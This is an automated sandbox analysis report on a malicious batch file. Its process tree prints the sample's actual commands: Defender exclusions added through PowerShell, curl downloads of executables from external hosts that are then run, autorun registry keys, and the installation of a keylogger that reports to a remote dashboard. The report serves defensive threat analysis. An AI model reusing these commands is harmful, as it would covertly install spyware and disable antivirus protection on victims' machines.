Edit tour

Windows Analysis Report
c5WMpr1cOc.bat

Overview

General Information

Sample name:	c5WMpr1cOc.bat renamed because original name is a hash value
Original sample name:	201ba880456a79f7af54cb4aa5e9c008d8a1961e686acbac7b2f1343e697b7a9.bat
Analysis ID:	1523865
MD5:	1ff13790ed1131ef710192fd2a2957dd
SHA1:	96871befc62dbb9aca8910e25e3cdfa4f13d0feb
SHA256:	201ba880456a79f7af54cb4aa5e9c008d8a1961e686acbac7b2f1343e697b7a9
Tags:	batfiledn-comuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Adds a directory exclusion to Windows Defender

Creates an undocumented autostart registry key

Found API chain indicative of debugger detection

Found stalling execution ending in API Sleep call

Loading BitLocker PowerShell Module

PE file has nameless sections

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Uses cmd line tools excessively to alter registry or file data

Uses netstat to query active network connections and open ports

Uses regedit.exe to modify the Windows registry

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries keyboard layouts

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

cmd.exe (PID: 772 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\c5WMpr1cOc.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 4312 cmdline: reg query "HKU\S-1-5-19\Environment" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

powershell.exe (PID: 6036 cmdline: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'" MD5: 04029E121A0CFA5991749937DD22A1D9)

curl.exe (PID: 2944 cmdline: curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404 MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

[space]= .exe (PID: 1900 cmdline: "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe" MD5: D15DAEF371B50FB739401BFDE29DF35A)

cmd.exe (PID: 7204 cmdline: "cmd.exe" /c C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\\eb90c874-90f1-477e-bf8d-92cb4599bdb5.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7252 cmdline: reg query "HKU\S-1-5-19\Environment" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

powershell.exe (PID: 7272 cmdline: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

curl.exe (PID: 7440 cmdline: curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

curl.exe (PID: 7492 cmdline: curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

[space]= .exe (PID: 7928 cmdline: "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" MD5: 0F335D8996D82DA30FE9286C671FA0CD)

[space]= .tmp (PID: 7944 cmdline: "C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp" /SL5="$30454,32862490,227328,C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" MD5: BFA3F09DEEE00832D000F497EC5B570A)

cmd.exe (PID: 8004 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8048 cmdline: C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 8060 cmdline: wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 8112 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8164 cmdline: C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

WMIC.exe (PID: 8180 cmdline: wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value MD5: E2DE6500DE1148C7F6027AD50AC8B891)

cmd.exe (PID: 7256 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7316 cmdline: reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7340 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\pswd.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1196 cmdline: powershell.exe add-mpPreference -ExclusionProcess '[space]= .*' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3004 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4076 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7648 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7716 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 888 cmdline: powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 1860 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7908 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7916 cmdline: powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7976 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 8056 cmdline: reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y MD5: 227F63E1D9008B36BDBCC4B397780BE4)

taskkill.exe (PID: 8008 cmdline: "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1640 cmdline: "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regedit.exe (PID: 7332 cmdline: "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" MD5: BD63D72DB4FA96A1E0250B1D36B7A827)

reg.exe (PID: 7276 cmdline: "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

spkl.exe (PID: 5904 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe" MD5: 11ADE4625528B6E7E1601681867E094E)

cmd.exe (PID: 3760 cmdline: "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

NETSTAT.EXE (PID: 5312 cmdline: netstat.exe -e MD5: 9DB170ED520A6DD57B5AC92EC537368A)

qrl.exe (PID: 6784 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 5672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qrl.exe (PID: 7588 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

qrl.exe (PID: 3084 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

spmm.exe (PID: 3396 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22" MD5: C0E67E8723775249CA0AE2C52E7EDD9E)

qrl.exe (PID: 4996 cmdline: "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_EE7E4705DD4AC06ADFE650C2CDC39BDD https://spyrix.net/dashboard/prg-actions MD5: D9EA512EE580ECFFEE587A4C3759527F)

conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 4888 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 3916 cmdline: "C:\Windows\System32\cmd.exe" /c plist.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7392 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

timeout.exe (PID: 2164 cmdline: timeout 20 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cmd.exe (PID: 2304 cmdline: cmd /c exit 83 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 4592 cmdline: cmd /c exit 112 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7884 cmdline: cmd /c exit 121 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 3896 cmdline: cmd /c exit 114 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 428 cmdline: cmd /c exit 105 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7796 cmdline: cmd /c exit 120 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

tasklist.exe (PID: 744 cmdline: TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 7248 cmdline: find "spm" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

tasklist.exe (PID: 5968 cmdline: TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 7456 cmdline: find "sem" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

tasklist.exe (PID: 7360 cmdline: TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 7300 cmdline: find "spkl" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

tasklist.exe (PID: 8064 cmdline: TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 8084 cmdline: find "clv" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

cmd.exe (PID: 5916 cmdline: C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2828 cmdline: timeout 6 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

chrome.exe (PID: 5100 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1936,i,1509766979292889431,16591483089158193991,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 7800 cmdline: powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\181531736511434" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 3744 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-3JAMQ.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000049.00000000.2712353086.0000000000401000.00000020.00000001.01000000.00000018.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
73.0.spmm.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\c5WMpr1cOc.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 772, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", ProcessId: 6036, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\c5WMpr1cOc.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 772, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", ProcessId: 6036, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp" /SL5="$30454,32862490,227328,C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp, ParentProcessId: 7944, ParentProcessName: [space]= .tmp, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , ProcessId: 4888, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp, ProcessId: 7944, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\localSPM

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp" /SL5="$30454,32862490,227328,C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp, ParentProcessId: 7944, ParentProcessName: [space]= .tmp, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs" , ProcessId: 4888, ProcessName: wscript.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: , EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp, ProcessId: 7944, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\kbdsprt

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", CommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", CommandLine|base64offset|contains: i~yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\c5WMpr1cOc.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 772, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'", ProcessId: 6036, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3744, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: c5WMpr1cOc.bat	Virustotal: Detection: 19%			Perma Link
Source: c5WMpr1cOc.bat	ReversingLabs: Detection: 26%

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D3C770 memset,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	67_2_00D3C770
